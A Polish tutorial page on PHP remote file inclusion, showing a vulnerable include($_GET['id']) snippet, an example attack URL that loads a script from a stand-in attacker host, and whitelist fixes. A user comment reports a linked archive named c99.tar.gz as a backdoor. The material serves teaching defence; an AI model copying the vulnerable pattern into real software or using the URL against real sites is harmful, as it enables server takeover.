Loading:


    Bezpieczeństwo PHP/MySQL cz. 3: Include'owanie plikow

    Bezpieczeństwo PHP/MySQL cz. 3: Include'owanie plikow

    1. Wstep
    2. Include
    3. Bezpieczenstwo
    4. Zakonczenie

    1. Wstep
    Jest juz to 3 artykul z serii `Bezpieczeństwo PHP/MySQL`. W tym tekscie bedzie ukazane wykorzystanie
    funkcji include, oraz jak uniknac bledow przy programowaniu i wykorzystaniu tego.
    Funkcja ta jest wykorzystywana praktycznie na wszystkich stronach internetowych opartych na PHP!
    Takze nie trudno o pomylke, a co przez to idzie ? Podmiana strony, skasowanie index'u, a co gorsza
    Wykradniecie danych! Takze przejdzmy do dzialania, jak? co? gdzie? :)

    2. Include
    Jak juz wczesniej wspomnialem, include sluzy do ladowania pliku, do skryptu dla przykladu:

    <?
    /* Plik index.php */
    include('header.php');
    include('tresc.php');
    include('footer.php');
    >

    Taki oto kod powoduje zaladowanie plikow header.php, tresc.php oraz footer.php do pliku index.php
    W pliku header.php znajduje sie pare odnosnikow, w pliku tresc znajduja sie newsy, etc., a w pliku footer
    jak sama nazwa mowi znajduje sie stopka. Zastanawiacie sie dlaczego tak budowane sa niektore storny ?
    Dla ulatwienia sobie pracy nad aktualizacja! Znacznie ulatwia to prace, np. nie musimy aktualizowac wszystkich
    plikow po kolei, tylko zmieniamy jeden plik tresc.php [porpawiamy blad, czy cos] i gotowe, na wszystkich stronach
    jest zaktualizowana tresc. Jednak tu nie chodzi o takie includowanie, na wielu stronach widzialem takie mniej-wiecej
    takie cos:
    www.jakas.strona.pl?id=index.php
    Niby nie wyglada groznie, jednak przez takie cos, mozna narobic wielkich szkod! Dlaczego ? Spojrzcie sami w kod!

    <?php
    /* Plik index.php */
    if(!isset($_GET['id'])) {
     exit('Jakis blad!');
    } else {
     include($_GET['id']);
    }
    ?>

    Dlaczego to niby takie grozne? A pomysleliscie jakby uzytkownik wpisal tak wygladajacy URL:
    www.jakas.strona.pl?id=http://strona.hakiera.com/zuy_skrypt.php
    W takim skrypcie moglby wykonac nie jedna `ciekawa` rzecz, przez co moglby miec dostep do serwera
    czy wiele innych!
    Dla przykladu, mamy jakiegos CMSa gdzie programista sie zagalopowal i zrobil to w sposob
    www.jakas.strona.pl?id=index.php gdzie skrypt pobiera zmienna id i includuje to, co sie w niej znajdzie
    Wiec, jesli chcemy byc zli, to includujemy PLIK po czym mamy dostep do zasobow serwera i nie tylko. A TUTAJ SCREEN

    3. Bezpieczenstwo

    Wbrew pozora zabepieczyc sie przed tego typu atakami wcale nie jest tak trudno, wystarczy troszke pomyslec!
    Ponizej znajduje sie prosty kod, ktory ukrywa nazwy plikow, i zabezpiecza includowanie.

    <?php
    /* Plik index.php */

    $id = $_GET['id'];

    if (!isset($id)) {
     echo 'Jakis blad!';
     }

    elseif ($id == 1) {
     include('tresc.php');
     }

    elseif ($id == 2) {
     include('newsy.php');
     }

    elseif ($id == 3) {
     include('cosiko.php');
     } else {
     echo 'Bla bla bla error 123456!';
     }

    ?>

    Oczywiscie, mozna jeszcze to zrobic na zasadzie instrukcji switch, co znacznie ulatwi prace np:

    <?php
    /* Plik index.php */

    $id = $_GET['id'];

      switch($id)
      {
      case '1':
      include('tresc.php'); 
      break;
      case '2':
      include('newsy.php');
      break;
      case '3':
      include('cosiko.php');
      break;
      default:
      echo 'Srututu'; 
      }

    ?>

    Teraz jesli atakujacy, jesli tylko bedzie chcial zaatakowac strone nie uda mu sie to, nie bedzie mogl
    include'owac zewnetrznych plikow :) Takze po czesci jestesmy bezpieczni ;))

    4. Zakonczenie
    Mam nadzieje, ze artykul sie podobal, i nie zapomnicie o zabezpieczaniu funkcji include ;)

    Greetz: Blackhat, elwin013, Meal, and others ;)

    Contact:
      >sapcik[at]webhat[dot]pl
      >Gadu - Gadu



    Napisz Artyku³

    Listing

    niema




    Dodano przez: Sapcik Ranga: 0 Punktów: 0
    Komentarze użytkowników
    Wstawiasz na stronę zawirusowane pliki. Kaspersky zgłasza backdora przy pobieraniu pliku z tego linku : http://sapcik.webhat.pl/artykuly/c99.tar.gz Mam nadzieję że to nie chodzi o to że artykuł o bezpieczeństwie ma zmniejszyć czujność.
    autor: majzel | 168 | 2009-04-24 22:44:13


    Pobrałem ten plik to zwykły PHP nie wiem czemu zgłasza ci trojany, tam nic niema.
    autor: Igor | 169 | 2009-04-25 12:01:59


    Świetnie opisany art oby takich więcej :)
    autor: neon125 | 5554 | 2010-04-01 09:00:05


      • Tre¶æ komentarza
        Kod do komentarza (opcjonalnie)
        PHP JavaScript MySQL Smarty SQL HTML CSS ActionScript
        Autor
        Token
        token

         

         








    funkcje.net
    Wszelkie prawa zastrzeżone©. | Funkcje.net 2008-2025 v.1.5 | design: diviXdesign & rainbowcolors